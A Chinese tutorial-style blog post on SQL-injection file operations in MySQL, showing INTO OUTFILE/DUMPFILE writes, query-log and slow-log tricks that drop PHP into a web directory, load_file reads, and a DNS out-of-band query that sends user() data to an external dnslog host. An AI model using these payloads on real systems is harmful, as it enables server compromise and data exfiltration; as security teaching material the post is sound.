SQL注入文件操作

函数写文件

前提条件

1.有网站的绝对路径
2.数据库secure_file_priv包含了写入的路径

  • secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
  • secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
  • secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。

3.mysql服务对网站的访问路径有写的权限
4.mysql连接用户有File权限
5.未对SQL语句“转义
outfile,dumpfile后的地址必须以引号包裹

mysql配置文件my.ini中定义了secure_file_priv等配置
mysql权限部分参考MySQL查看用户权限及权限管理

写入函数

OUTFILE
1.如果有多行数据,写文件时会给每行自动加上换行符
2.写文件时会自动将特殊符号转义,如/n会导致数据换行
3.outfile 的路径不能是0x开头或者char转换以后的路径,只能是引号包裹的路径导致写shell时无法通过hex编码或char()来bypass引号转义等
4.文件不能覆盖写入,所以写入文件必须为不存在

select user from mysql.user INTO OUTFILE 'D:\\mysql.txt';

DUMPFILE
1.dumpfile 只能导出一行
2.dumpfile 在写⽂件时会保持⽂件的原⽣格式,适合写二进制文件,如exe文件,udf提权的dll文件
3.dumpfile 的路径不能是0x开头或者char转换以后的路径
4.文件不能覆盖写入,所以写入文件必须为不存在

select '<?php phpinfo();?>' into dumpfile "D:\\phpstudy_pro\\WWW\\mysql.php";

在这里插入图片描述
如果向已经存在的文件中写入则会报错
在这里插入图片描述
一般来说windows系统写入以后即可直接连接,而linux系统下mysql服务向网站目录写入文件受权限影响较大。

日志写文件

前提条件

通过改写日志内容以及日志储存的地址来写文件
利用条件
1.网站可访问的绝对路径
2.mysql连接用户有开启日志记录和修改日志地址的权限
3.mysql服务有向网站路径写文件的权限
4.GPC关闭未对闭合用的引号转义

日志种类

mysql日志种类

  • 错误日志 (记录启动,运行,停止mysql时出现的信息)
  • 查询日志 (记录建立的客户端连接和执行的语句)
  • 慢查询日志 (记录所有执行超过long_query_time秒的所有查询)
  • 二进制日志 (记录所有更改数据的语句,还用于复制,恢复数据库用)
  • 更新日志(二进制日志已经代替了老的更新日志,更新日志在MySQL 5.1中不再使用)

只有查询日志和慢查询日志可以利用

查询日志

查看查询日志信息show variables like "general%";
在这里插入图片描述
开启查询日志权限并改变日志地址
set global general_log = 1;
set global general_log_file = "D:\\phpstudy_pro\\WWW\\mysqllog.php";
尝试执行带有恶意代码的sql语句
select '<?php phpinfo();?>';
可以看出顺利写入日志文件
在这里插入图片描述
日志文件同样在linux中由MySQL服务创建,所以权限限制比较大,Web服务器访问文件时可能因为没有权限导致利用失败。

慢查询日志

慢查询日志是用来记录执行时间超过指定时间的查询语句。
查看日志情况语句show global variables like '%log%';
在这里插入图片描述
slow_query_logslow_query_log_file表示慢日志是否开启以及储存的位置。默认是OFF不开启慢日志的

查看超过多少s会被记录慢查询日志SHOW GLOBAL VARIABLES LIKE 'long%';
在这里插入图片描述
开启慢查询日志,并设定保存路径
set global slow_query_log = 1;
slow_query_log_file = 'D:\phpstudy_pro\WWW\mysql.php';

日志保存的路径可以hex编码

测试延时语句并尝试写入恶意代码
select "<?php phpinfo();?>" from mysql.user where sleep(11);
发现文件被写入恶意内容
在这里插入图片描述

读文件

前提条件

1.有读取文件的绝对路径
2.mysql服务对路径有读的权限
3.mysql连接用户有File权限
4.secure_file_priv的值非NULL或包含了所读文件的绝对路径

读取函数

load_file
采用select load_file('绝对路径')来读取,与outfile/dumpfile不同的是,这里的绝对路径可以hex编码
测试语句
select load_file("D:\phpstudy_pro\WWW\mysql.php");
在这里插入图片描述

DNSLOG

在没有回显的情况下可以利用dns解析的请求带出数据。
可以先从http://dnslog.cn/获得一个地址,再对想要获得数据进行拼接,通过解析记录带出数据。
select load_file(concat('\\\\', user(), '.dnslog'));

参考文章

https://www.freebuf.com/articles/web/244103.html

https://www.freebuf.com/articles/web/184587.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值